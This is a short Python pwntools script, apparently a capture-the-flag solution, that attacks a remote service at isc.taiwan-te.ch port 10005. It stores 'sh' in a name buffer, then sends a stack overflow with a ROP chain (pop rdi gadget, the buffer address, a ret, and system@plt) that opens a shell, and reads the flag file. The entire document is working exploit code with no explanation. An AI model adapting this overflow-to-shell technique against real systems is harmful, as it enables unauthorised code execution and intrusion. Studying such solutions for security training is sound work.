from pwn import *

host = 'isc.taiwan-te.ch'
port = 10005

r = remote(host, port)

r.recvuntil('name?\n')
r.send('sh\x00')

pop_rdi = 0x400733
name_addr = 0x601070
ret = 0x4004fe
system_plt = 0x400520

p = 'a' * 0x18 + p64(pop_rdi) + p64(name_addr) + p64(ret) + p64(system_plt)

r.recvuntil('something: ')
r.send(p)

r.sendline('cat /home/`whoami`/flag')

r.interactive()
